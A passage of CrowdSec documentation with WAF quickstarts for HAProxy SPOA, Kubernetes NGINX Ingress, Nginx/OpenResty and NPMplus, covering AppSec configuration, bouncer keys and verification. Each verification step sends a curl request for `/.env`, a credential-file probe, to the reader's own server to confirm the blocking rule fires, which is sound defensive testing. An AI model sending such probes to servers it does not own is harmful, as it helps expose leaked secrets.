[`appsec-virtual-patching`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) collection (rules for known CVEs, auto-updated daily) and the [`appsec-generic-rules`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-generic-rules) collection (common attack patterns), plus the default AppSec configuration. ## 2. Turn on the AppSec Component[โ€‹](#2-turn-on-the-appsec-component "Direct link to 2. Turn on the AppSec Component") Create the acquisition file, then restart CrowdSec: SHCOPY ``` sudo mkdir -p /etc/crowdsec/acquis.d sudo tee /etc/crowdsec/acquis.d/appsec.yaml > /dev/null <<'EOF' appsec_configs: - crowdsecurity/appsec-default labels: type: appsec listen_addr: 127.0.0.1:7422 source: appsec EOF sudo systemctl restart crowdsec ``` warning Keep `listen_addr` on `127.0.0.1` โ€” the AppSec Component must only be reachable from your reverse proxy. ## 3. Enable AppSec forwarding in the SPOA bouncer[โ€‹](#3-enable-appsec-forwarding-in-the-spoa-bouncer "Direct link to 3. Enable AppSec forwarding in the SPOA bouncer") Edit `/etc/crowdsec/bouncers/crowdsec-spoa-bouncer.yaml` and add the `appsec_url` plus the `appsec` block under your host(s): /etc/crowdsec/bouncers/crowdsec-spoa-bouncer.yaml YAML/etc/crowdsec/bouncers/crowdsec-spoa-bouncer.yamlCOPY ``` # AppSec (WAF forwarding) appsec_url: "http://127.0.0.1:7422" appsec_timeout: "200ms" hosts: - host: "*" appsec: always_send: false ``` Restart the bouncer: SHCOPY ``` sudo systemctl restart crowdsec-spoa-bouncer ``` note If AppSec runs on a different host (or in containers), update `appsec_url` to the correct reachable address. ## 4. Verify[โ€‹](#4-verify "Direct link to 4. Verify") Hit an endpoint that should trip an AppSec rule (adjust the URL to match your HAProxy frontend): SHCOPY ``` curl -I http:///.env ``` You should get an `HTTP/1.1 403 Forbidden` response. Check that CrowdSec recorded the block: SHCOPY ``` sudo cscli metrics show appsec ``` What just happened? 1. `curl` hit HAProxy at `/.env`. 2. HAProxy forwarded the request to the SPOA remediation component. 3. The bouncer queried the AppSec Component at `appsec_url`. 4. The request matched the [`vpatch-env-access`](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-env-access) rule. 5. AppSec answered `403`; HAProxy blocked the request. ## AppSec limitations with HAProxy SPOA[โ€‹](#appsec-limitations-with-haproxy-spoa "Direct link to AppSec limitations with HAProxy SPOA") HAProxy SPOA forwarding is constrained by HAProxy/SPOE/SPOA mechanics: * Request bodies are only available if you enable buffering (`option http-buffer-request`) and must fit within tight size limits (commonly capped at \~50 KB). * When the body is too large (uploads, large JSON, etc.), you typically fall back to a "no-body" SPOE group, which means **body-dependent WAF rules cannot match**. * This is not full streaming inspection: SPOA works with what HAProxy can capture within buffer/frame limits. CrowdSec AppSec is a single source of truth for rules โ€” you can point multiple WAF-capable integrations at the same AppSec endpoint so rule updates stay in sync. Recommended layered approach: * Use HAProxy SPOA for **edge enforcement** (IP/range/country decisions, ban/captcha) and lightweight WAF evaluation when the request fits within the configured limits. * Put a full-featured L7 proxy/WAF-capable integration **downstream** (or protect the app directly) when you need deeper inspection of large bodies, file uploads, or application-specific request parsing. Examples: * [Nginx/OpenResty](https://docs.crowdsec.net/docs/next/appsec/quickstart/nginxopenresty.md) * [Traefik](https://docs.crowdsec.net/docs/next/appsec/quickstart/traefik.md) * [WordPress](https://docs.crowdsec.net/docs/next/appsec/quickstart/wordpress.md) ## Next steps[โ€‹](#next-steps "Direct link to Next steps") * Monitor WAF alerts with `sudo cscli alerts list` or in the [CrowdSec Console](https://app.crowdsec.net). * Review the [AppSec troubleshooting guide](https://docs.crowdsec.net/docs/next/appsec/troubleshooting.md) and the [HAProxy SPOA bouncer docs](https://docs.crowdsec.net/u/bouncers/haproxy_spoa.md) if you need to investigate or refine the deployment. * Explore [WAF deployment strategies](https://docs.crowdsec.net/docs/next/appsec/advanced_deployments.md) if you want to expand beyond this initial setup. --- # CrowdSec WAF QuickStart for NGINX Ingress (Helm) Deprecated and not recommended This CrowdSec integration for `ingress-nginx` is being deprecated. `ingress-nginx` has known security issues, and upstream removed Lua support in version `1.12`, which this integration depends on. Do not use this for new deployments. If you are already using it, plan a migration to another supported integration such as [Traefik](https://docs.crowdsec.net/docs/next/appsec/quickstart/traefik.md) or [Envoy Gateway](https://docs.crowdsec.net/docs/next/appsec/quickstart/envoy-gateway.md). ## Objectives[โ€‹](#objectives "Direct link to Objectives") This quickstart shows how to deploy the CrowdSec AppSec Component with the official Helm chart and protect workloads exposed through the Kubernetes [NGINX Ingress Controller](https://kubernetes.github.io/ingress-nginx/). At the end, you will have: * CrowdSec running in-cluster with the AppSec API listening on `7422` * The ingress controller using the CrowdSec Lua plugin to forward requests for inspection * Basic virtual patching rules blocking common web exploits ## Prerequisites[โ€‹](#prerequisites "Direct link to Prerequisites") 1. If you're new to the [AppSec Component](https://docs.crowdsec.net/docs/next/appsec/intro.md#introduction) or **W**eb **A**pplication **F**irewalls, start with the [Introduction](https://docs.crowdsec.net/docs/next/appsec/intro.md#introduction) for a better understanding. 2. It's assumed that you have already installed **CrowdSec [Security Engine](https://docs.crowdsec.net/docs/next/intro.md)**. For installation quickstart, refer to the [QuickStart guide](https://docs.crowdsec.net/u/getting_started/installation/kubernetes.md). warning A Lua-enabled controller is essential for CrowdSec's NGINX Ingress remediation, as it relies on the Lua plugin interface. Please use the `crowdsecurity/controller` image provided by CrowdSec (as specified in the values below). Note that the standard upstream controller removed Lua support in version 1.12 and therefore is not suitable for use as a CrowdSec remediation component. Already have CrowdSec AppSec running? If CrowdSec is already deployed with AppSec enabled in your cluster, skip to [Enable the CrowdSec Lua plugin on NGINX Ingress](#enable-the-crowdsec-lua-plugin-on-nginx-ingress). ## Deploy CrowdSec with AppSec enabled[โ€‹](#deploy-crowdsec-with-appsec-enabled "Direct link to Deploy CrowdSec with AppSec enabled") ### Helm repository[โ€‹](#helm-repository "Direct link to Helm repository") Add or update the CrowdSec Helm repository: SHCOPY ``` helm repo add crowdsec https://crowdsecurity.github.io/helm-charts helm repo update ``` note If CrowdSec is already deployed with Helm in this cluster, the repository entry is already presentโ€”you only need `helm repo update`. ### Update CrowdSec configuration[โ€‹](#update-crowdsec-configuration "Direct link to Update CrowdSec configuration") Store the nginx bouncer key in a Kubernetes secret, following the same pattern used by the Envoy quickstart. Create or update the secret used by CrowdSec LAPI: crowdsec-keys.yaml YAMLcrowdsec-keys.yamlCOPY ``` apiVersion: v1 kind: Secret metadata: name: crowdsec-keys namespace: crowdsec type: Opaque stringData: BOUNCER_KEY_nginx_ingress_waf: "" ``` Apply it: SHCOPY ``` kubectl apply -f crowdsec-keys.yaml ``` Add this to the CrowdSec `values.yaml` with the AppSec acquisition datasource (see the [AppSec datasource](https://docs.crowdsec.net/docs/next/log_processor/data_sources/appsec.md)) and the default [AppSec configuration](https://docs.crowdsec.net/docs/next/appsec/configuration.md): values.yaml YAMLvalues.yamlCOPY ``` appsec: acquisitions: - appsec_configs: - crowdsecurity/appsec-default labels: type: appsec listen_addr: 0.0.0.0:7422 path: / source: appsec enabled: true env: - name: COLLECTIONS value: crowdsecurity/appsec-virtual-patching crowdsecurity/appsec-generic-rules lapi: env: - name: BOUNCER_KEY_nginx_ingress_waf valueFrom: secretKeyRef: name: crowdsec-keys key: BOUNCER_KEY_nginx_ingress_waf ``` warning The Helm chart still enables the CrowdSec agent by default. If you do not want the agent, disable it explicitly. Snippet to disable the agent values.yaml YAMLvalues.yamlCOPY ``` agent: enabled: false ``` note Although this is the same bouncer key value, you need two `Secret` objects here: one in `crowdsec` and one in `ingress-nginx`. Kubernetes secrets are namespace-scoped, so the ingress controller cannot read a secret from the `crowdsec` namespace. This YAML configuration snippet exposes the important configuration items: * `listen_addr: 0.0.0.0:7422` exposes the AppSec API inside the cluster. * `appsec_configs` loads the [AppSec configuration(s)](https://docs.crowdsec.net/docs/next/appsec/configuration.md) that define which rules are evaluated (in-band vs out-of-band). * The two collections provide virtual patching and generic rule coverage. * `lapi.env` forces the `nginx_ingress_waf` bouncer key from the `crowdsec-keys` Secret. And now we apply the new configuration with: SHCOPY ``` helm upgrade --install crowdsec crowdsec/crowdsec --namespace crowdsec --create-namespace -f crowdsec-appsec-values.yaml ``` ### Confirm the pods are healthy:[โ€‹](#confirm-the-pods-are-healthy "Direct link to Confirm the pods are healthy:") SHCOPY ``` kubectl -n crowdsec get pods ``` You should see `crowdsec-agent` pods, the `crowdsec-lapi` pod and the `crowdsec-appsec` pod in `Running` state. ## Enable the CrowdSec Lua plugin on NGINX Ingress[โ€‹](#enable-the-crowdsec-lua-plugin-on-nginx-ingress "Direct link to Enable the CrowdSec Lua plugin on NGINX Ingress") Create the secret holding the same CrowdSec bouncer key in the `ingress-nginx` namespace: crowdsec-ingress-bouncer-secret.yaml YAMLcrowdsec-ingress-bouncer-secret.yamlCOPY ``` apiVersion: v1 kind: Secret metadata: name: crowdsec-ingress-bouncer-secrets namespace: ingress-nginx type: Opaque stringData: api-key: "" ``` Apply it: SHCOPY ``` kubectl apply -f crowdsec-ingress-bouncer-secret.yaml ``` To extend the ingress controller with the CrowdSec plugin and point it to the AppSec API, create the file named `ingress-values.yaml`. You can read the entire file in the snippet below. ingress-values.yaml YAMLingress-values.yamlCOPY ``` controller: image: registry: docker.io image: crowdsecurity/controller tag: v1.14.3 digest: sha256:9ab8791635f4cde9964ab2562fb8b15faf72fe0205f0fe288089a87e1455675d extraVolumes: - name: crowdsec-bouncer-plugin emptyDir: {} extraInitContainers: - name: init-clone-crowdsec-bouncer image: crowdsecurity/lua-bouncer-plugin:latest imagePullPolicy: IfNotPresent env: - name: API_URL value: "http://crowdsec-service.crowdsec.svc.cluster.local:8080" - name: API_KEY valueFrom: secretKeyRef: name: crowdsec-ingress-bouncer-secrets key: api-key - name: BOUNCER_CONFIG value: "/crowdsec/crowdsec-bouncer.conf" - name: APPSEC_URL value: "http://crowdsec-appsec-service.crowdsec.svc.cluster.local:7422" - name: APPSEC_FAILURE_ACTION value: "ban" - name: APPSEC_CONNECT_TIMEOUT value: "100" - name: APPSEC_SEND_TIMEOUT value: "100" - name: APPSEC_PROCESS_TIMEOUT value: "1000" - name: ALWAYS_SEND_TO_APPSEC value: "false" command: - sh - -c - | sh /docker_start.sh mkdir -p /lua_plugins/crowdsec/ cp -R /crowdsec/* /lua_plugins/crowdsec/ volumeMounts: - name: crowdsec-bouncer-plugin mountPath: /lua_plugins extraVolumeMounts: - name: crowdsec-bouncer-plugin mountPath: /etc/nginx/lua/plugins/crowdsec subPath: crowdsec config: plugins: "crowdsec" lua-shared-dicts: "crowdsec_cache: 50m" server-snippet: | lua_ssl_trusted_certificate "/etc/ssl/certs/ca-certificates.crt"; resolver local=on ipv6=off; ``` * `API_URL` targets the Local API service exposed by the Helm chart. * `API_KEY` is read from the `crowdsec-ingress-bouncer-secrets` Secret in the `ingress-nginx` namespace. * `APPSEC_URL` points to the AppSec service; keep the namespace in sync with your CrowdSec release. * The plugin copies the Lua files from the init container into an `emptyDir` that is mounted at runtime. Deploy or upgrade the ingress controller with the new values: SHCOPY ``` helm upgrade --install ingress-nginx ingress-nginx/ingress-nginx \ --namespace ingress-nginx \ -f crowdsec-ingress-values.yaml ``` CrowdSec Ingress-NGINX Remediation Configuration Explained This `values.yaml` snippet integrates the CrowdSec remediation (Lua bouncer) into the `ingress-nginx` controller by injecting the Lua plugin, generating its configuration, and enabling it inside NGINX. #### Controller Image Override[โ€‹](#controller-image-override "Direct link to Controller Image Override") YAMLCOPY ``` controller: image: registry: docker.io image: crowdsecurity/controller tag: v1.14.3 digest: sha256:9ab8791635f4cde9964ab2562fb8b15faf72fe0205f0fe288089a87e1455675d ``` The controller image is replaced with a CrowdSec-enabled build that includes the required Lua integration points. #### Shared Volume for the Plugin[โ€‹](#shared-volume-for-the-plugin "Direct link to Shared Volume for the Plugin") YAMLCOPY ``` extraVolumes: - name: crowdsec-bouncer-plugin emptyDir: {} ``` An emptyDir volume is used to hold the Lua bouncer plugin. It will be filled by an initContainer and mounted into the main controller. #### InitContainer: Plugin Fetch and Configuration[โ€‹](#initcontainer-plugin-fetch-and-configuration "Direct link to InitContainer: Plugin Fetch and Configuration") YAMLCOPY ``` extraInitContainers: - name: init-clone-crowdsec-bouncer image: crowdsecurity/lua-bouncer-plugin:latest env: - name: API_URL value: "http://crowdsec-service.crowdsec.svc.cluster.local:8080" - name: API_KEY valueFrom: secretKeyRef: name: crowdsec-ingress-bouncer-secrets key: api-key - name: BOUNCER_CONFIG value: "/crowdsec/crowdsec-bouncer.conf" - name: APPSEC_URL value: "http://crowdsec-appsec-service.crowdsec.svc.cluster.local:7422" - name: APPSEC_FAILURE_ACTION value: "ban" - name: APPSEC_CONNECT_TIMEOUT value: "100" - name: APPSEC_SEND_TIMEOUT value: "100" - name: APPSEC_PROCESS_TIMEOUT value: "1000" - name: ALWAYS_SEND_TO_APPSEC value: "false" command: - sh - -c - | sh /docker_start.sh mkdir -p /lua_plugins/crowdsec/ cp -R /crowdsec/* /lua_plugins/crowdsec/ volumeMounts: - name: crowdsec-bouncer-plugin mountPath: /lua_plugins ``` The initContainer generates the plugin configuration (crowdsec-bouncer.conf) from environment variables and copies the Lua plugin files into the shared volume so the main controller can load them. #### Mounting the Plugin in NGINX[โ€‹](#mounting-the-plugin-in-nginx "Direct link to Mounting the Plugin in NGINX") YAMLCOPY ``` extraVolumeMounts: - name: crowdsec-bouncer-plugin mountPath: /etc/nginx/lua/plugins/crowdsec subPath: crowdsec ``` This mounts the plugin files inside the directory where ingress-nginx expects Lua plugins. #### NGINX Configuration to Enable the Plugin[โ€‹](#nginx-configuration-to-enable-the-plugin "Direct link to NGINX Configuration to Enable the Plugin") TEXTCOPY ``` config: plugins: "crowdsec" lua-shared-dicts: "crowdsec_cache: 50m" server-snippet: | lua_ssl_trusted_certificate "/etc/ssl/certs/ca-certificates.crt" resolver local=on ipv6=off; ``` This snippet enables the crowdsec Lua plugin, aAllocates shared memory for caching LAPI/AppSec results and ensures Lua HTTPS validation and DNS resolution work properly. #### Summary[โ€‹](#summary "Direct link to Summary") This configuration: * Injects the CrowdSec Lua bouncer plugin into ingress-nginx. * Generates its configuration via an initContainer. * Mounts it into NGINX so it is executed during request processing. * Enables both LAPI enforcement and optional AppSec forwarding depending on settings. note After the rollout, you can optionally check that the right container is deployed with something like: `kubectl -n ingress-nginx exec -ti -- find /etc/nginx/lua/plugins/crowdsec` This should give you a bunch of crowdsec lua files. ## Testing the AppSec Component + Remediation Component[โ€‹](#testing-the-appsec-component--remediation-component "Direct link to Testing the AppSec Component + Remediation Component") note We're assuming the web server is installed on the same machine and is listening on port 80. Please adjust your testing accordingly if this is not the case. if you try to access `http://localhost/.env` from a browser, your request will be blocked, resulting in the display of the following HTML page: ![appsec-denied](/assets/images/appsec_denied-6e67f77eebc0aafccfbb7304136ad33e.png) We can also look at the metrics from `cscli metrics show appsec` on the appsec pod it will display: * the number of requests processed by the AppSec Component * Individual rule matches Example Output kubectl exec -n crowdsec -ti crowdsec-appsec-\ -- cscli metrics show appsec SHkubectl exec -n crowdsec -ti crowdsec-appsec-\ -- cscli metrics show appsecCOPY ``` Appsec Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Appsec Engine โ”‚ Processed โ”‚ Blocked โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ 127.0.0.1:7422/ โ”‚ 2 โ”‚ 1 โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ Appsec '127.0.0.1:7422/' Rules Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Rule ID โ”‚ Triggered โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ crowdsecurity/vpatch-env-access โ”‚ 1 โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ ``` You can test and investigate further with [Stack Health-Check](https://docs.crowdsec.net/u/getting_started/health_check.md#trigger-crowdsec-test-scenarios) and [Appsec Troubleshooting guide](https://docs.crowdsec.net/docs/next/appsec/troubleshooting.md) ## Integration with the Console[โ€‹](#integration-with-the-console "Direct link to Integration with the Console") If you haven't yet, follow the guide about [how to enroll your Security Engine in the Console](https://docs.crowdsec.net/u/getting_started/post_installation/console.md). Once done, all your alerts, including the ones generated by the AppSec Component, appear in the Console: ![appsec-console](/assets/images/appsec_console-59b5f39cf3f7fc002e61539c0e866f23.png) ## Next steps[โ€‹](#next-steps "Direct link to Next steps") You are now running the AppSec Component on your CrowdSec Security Engine. As the next steps, you can: * Monitor WAF alerts in the [CrowdSec Console](https://app.crowdsec.net). * Review the [AppSec troubleshooting guide](https://docs.crowdsec.net/docs/next/appsec/troubleshooting.md) if you need to investigate or refine the deployment. * Explore [WAF deployment strategies](https://docs.crowdsec.net/docs/next/appsec/advanced_deployments.md), [rules syntax](https://docs.crowdsec.net/docs/next/appsec/rules_syntax.md), [rule creation](https://docs.crowdsec.net/docs/next/appsec/create_rules.md), and [benchmarks](https://docs.crowdsec.net/docs/next/appsec/benchmark.md) to go further. --- # CrowdSec WAF QuickStart for Nginx / OpenResty Protect an [Nginx](https://nginx.com) or [OpenResty](https://openresty.org/en/) server with CrowdSec's [AppSec (WAF) Component](https://docs.crowdsec.net/docs/next/appsec/intro.md#introduction). After the prerequisites below, every step is a single copy-paste command. Most steps are the same for both engines โ€” only step 3 differs, and the tabs there let you pick the right variant. ## Prerequisites[โ€‹](#prerequisites "Direct link to Prerequisites") Make sure the following are already done on the machine running your web server (all are single-page install guides): 1. **CrowdSec Security Engine** installed and running โ€” see the [Linux quickstart](https://docs.crowdsec.net/u/getting_started/installation/linux.md). 2. **Nginx or OpenResty bouncer** installed and registered against the CrowdSec LAPI: * Nginx: [`crowdsec-nginx-bouncer`](https://docs.crowdsec.net/u/bouncers/nginx.md#installation) * OpenResty: [`crowdsec-openresty-bouncer`](https://docs.crowdsec.net/u/bouncers/openresty.md#installation) 3. Nginx or OpenResty is currently serving traffic on port 80 (used by the verification step at the end). ## 1. Install the AppSec rule collections[โ€‹](#1-install-the-appsec-rule-collections "Direct link to 1. Install the AppSec rule collections") SHCOPY ``` sudo cscli collections install \ crowdsecurity/appsec-virtual-patching \ crowdsecurity/appsec-generic-rules ``` This pulls the [`appsec-virtual-patching`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) collection (rules for known CVEs, auto-updated daily) and the [`appsec-generic-rules`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-generic-rules) collection (common attack patterns), plus the default AppSec configuration. ## 2. Turn on the AppSec Component[โ€‹](#2-turn-on-the-appsec-component "Direct link to 2. Turn on the AppSec Component") Create the acquisition file, then restart CrowdSec: SHCOPY ``` sudo mkdir -p /etc/crowdsec/acquis.d sudo tee /etc/crowdsec/acquis.d/appsec.yaml > /dev/null <<'EOF' appsec_configs: - crowdsecurity/appsec-default labels: type: appsec listen_addr: 127.0.0.1:7422 source: appsec EOF sudo systemctl restart crowdsec ``` warning Keep `listen_addr` on `127.0.0.1` โ€” the AppSec Component must not be reachable from the internet. It should only be queried by your local web server / reverse proxy. ## 3. Point the bouncer at the AppSec Component[โ€‹](#3-point-the-bouncer-at-the-appsec-component "Direct link to 3. Point the bouncer at the AppSec Component") * Nginx * OpenResty SHCOPY ``` sudo sed -i 's|^APPSEC_URL=.*|APPSEC_URL=http://127.0.0.1:7422|' \ /etc/crowdsec/bouncers/crowdsec-nginx-bouncer.conf sudo systemctl restart nginx ``` SHCOPY ``` sudo sed -i 's|^APPSEC_URL=.*|APPSEC_URL=http://127.0.0.1:7422|' \ /etc/crowdsec/bouncers/crowdsec-openresty-bouncer.conf sudo systemctl restart openresty ``` The default bouncer config already contains an empty `APPSEC_URL=` line, so `sed -i` replaces it in place โ€” the command is idempotent and safe to re-run. ## 4. Verify[โ€‹](#4-verify "Direct link to 4. Verify") Send a request that should trip an AppSec rule: SHCOPY ``` curl -I http://localhost/.env ``` You should get an `HTTP/1.1 403 Forbidden` response. We're hitting a `.env` file, a [common way to retrieve credentials left by mistake](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-env-access) โ€” the AppSec Component detects and blocks it. Check that CrowdSec recorded the block: SHCOPY ``` sudo cscli metrics show appsec ``` Example metrics output sudo cscli metrics show appsec SHsudo cscli metrics show appsecCOPY ``` Appsec Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Appsec Engine โ”‚ Processed โ”‚ Blocked โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ 127.0.0.1:7422/ โ”‚ 2 โ”‚ 1 โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ Appsec '127.0.0.1:7422/' Rules Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Rule ID โ”‚ Triggered โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ crowdsecurity/vpatch-env-access โ”‚ 1 โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ ``` What just happened? 1. `curl` hit your web server at `/.env`. 2. The bouncer forwarded the request to the AppSec Component on `127.0.0.1:7422`. 3. The request matched the [`vpatch-env-access`](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-env-access) rule. 4. The AppSec Component answered `403`, the bouncer enforced it, and the web server returned the CrowdSec ban page. If you'd rather see the block in a browser, visit `http:///.env` โ€” you'll get the CrowdSec ban page: ![appsec-denied](/assets/images/appsec_denied-6e67f77eebc0aafccfbb7304136ad33e.png) ## Monitor in the Console[โ€‹](#monitor-in-the-console "Direct link to Monitor in the Console") If you haven't enrolled the Security Engine yet, follow [how to enroll in the Console](https://docs.crowdsec.net/u/getting_started/post_installation/console.md). Once enrolled, AppSec alerts show up alongside the rest of your alerts: ![appsec-console](/assets/images/appsec_console-59b5f39cf3f7fc002e61539c0e866f23.png) ## Next steps[โ€‹](#next-steps "Direct link to Next steps") * Monitor WAF alerts with `sudo cscli alerts list` or in the [CrowdSec Console](https://app.crowdsec.net). * Review the [AppSec troubleshooting guide](https://docs.crowdsec.net/docs/next/appsec/troubleshooting.md) if you need to investigate or refine the deployment. * Explore [WAF deployment strategies](https://docs.crowdsec.net/docs/next/appsec/advanced_deployments.md), [rules syntax](https://docs.crowdsec.net/docs/next/appsec/rules_syntax.md), [rule creation](https://docs.crowdsec.net/docs/next/appsec/create_rules.md), and [benchmarks](https://docs.crowdsec.net/docs/next/appsec/benchmark.md) to go further. --- # CrowdSec WAF QuickStart for NPMplus Protect web applications running behind [NPMplus](https://github.com/ZoeyVid/NPMplus) (an enhanced Nginx Proxy Manager fork with built-in CrowdSec support) with CrowdSec's [AppSec (WAF) Component](https://docs.crowdsec.net/docs/next/appsec/intro.md#introduction). This flow is mostly Docker Compose work: you download the NPMplus compose file, edit a few values, add an AppSec acquisition, start the stack, and enable AppSec from the NPMplus admin UI. ## Prerequisites[โ€‹](#prerequisites "Direct link to Prerequisites") * **Docker** and **Docker Compose** installed. * Ports **80/TCP, 443/TCP, 443/UDP** exposed to the internet; **81/TCP** available for the admin interface (can stay internal). * A text editor and `curl` available on the host. ## 1. Download the NPMplus compose file[โ€‹](#1-download-the-npmplus-compose-file "Direct link to 1. Download the NPMplus compose file") SHCOPY ``` curl -L https://raw.githubusercontent.com/ZoeyVid/NPMplus/refs/heads/develop/compose.yaml \ -o compose.yaml ``` ## 2. Edit `compose.yaml`[โ€‹](#2-edit-composeyaml "Direct link to 2-edit-composeyaml") Open the file and apply the following changes โ€” none of these can be automated because you need to choose values for your environment: * **NPMplus service** โ€” set the environment variables: * `TZ` โ€” your timezone (e.g. `Europe/Berlin`). * `ACME_EMAIL` โ€” your email for Let's Encrypt (e.g. `admin@example.org`). * `LOGROTATE=true` โ€” uncomment this line. Required for CrowdSec to parse NPMplus logs. * **CrowdSec service** โ€” uncomment the `crowdsec` service block. Leave the `openappsec` line commented (`appsec` and `openappsec` are different things). ## 3. Add the AppSec acquisition[โ€‹](#3-add-the-appsec-acquisition "Direct link to 3. Add the AppSec acquisition") Create the acquisition file on the host; the path must match how you mount the CrowdSec config volume in `compose.yaml` (the default NPMplus compose uses `/opt/crowdsec/conf`): SHCOPY ``` sudo mkdir -p /opt/crowdsec/conf/acquis.d sudo tee /opt/crowdsec/conf/acquis.d/npmplus.yaml > /dev/null <<'EOF' filenames: - /opt/npmplus/nginx/*.log labels: type: npmplus --- filenames: - /opt/npmplus/nginx/*.log labels: type: modsecurity --- listen_addr: 0.0.0.0:7422 appsec_configs: - crowdsecurity/appsec-default name: appsec source: appsec labels: type: appsec EOF ``` The first two blocks parse NPMplus access logs; the third turns on the AppSec Component on `0.0.0.0:7422` (needed because CrowdSec is inside a container โ€” exposure is still limited to the Docker network, **not** the internet). info The upstream `npmplus.yaml` can evolve; the latest reference is in the [NPMplus repo](https://github.com/ZoeyVid/NPMplus). ## 4. Start the stack[โ€‹](#4-start-the-stack "Direct link to 4. Start the stack") SHCOPY ``` docker compose up -d ``` Install the AppSec collections inside the running CrowdSec container, then restart it so the new collections are picked up: SHCOPY ``` docker exec crowdsec cscli collections install \ crowdsecurity/appsec-virtual-patching \ crowdsecurity/appsec-generic-rules docker restart crowdsec ``` Retrieve the initial NPMplus admin password from its logs: SHCOPY ``` sleep 60 && docker logs npmplus 2>&1 | grep -i password ``` Save this password โ€” you'll need it in step 5. ## 5. Enable AppSec in NPMplus[โ€‹](#5-enable-appsec-in-npmplus "Direct link to 5. Enable AppSec in NPMplus") ### Generate a bouncer API key[โ€‹](#generate-a-bouncer-api-key "Direct link to Generate a bouncer API key") SHCOPY ``` docker exec crowdsec cscli bouncers add npmplus -o raw ``` Copy the printed key. ### Configure NPMplus[โ€‹](#configure-npmplus "Direct link to Configure NPMplus") Edit the NPMplus CrowdSec configuration file โ€” its location depends on your compose mounts, typically `/opt/npmplus/crowdsec/crowdsec.conf`: /opt/npmplus/crowdsec/crowdsec.conf INI/opt/npmplus/crowdsec/crowdsec.confCOPY ``` ENABLED=true API_KEY= ``` Restart NPMplus: SHCOPY ``` docker restart npmplus 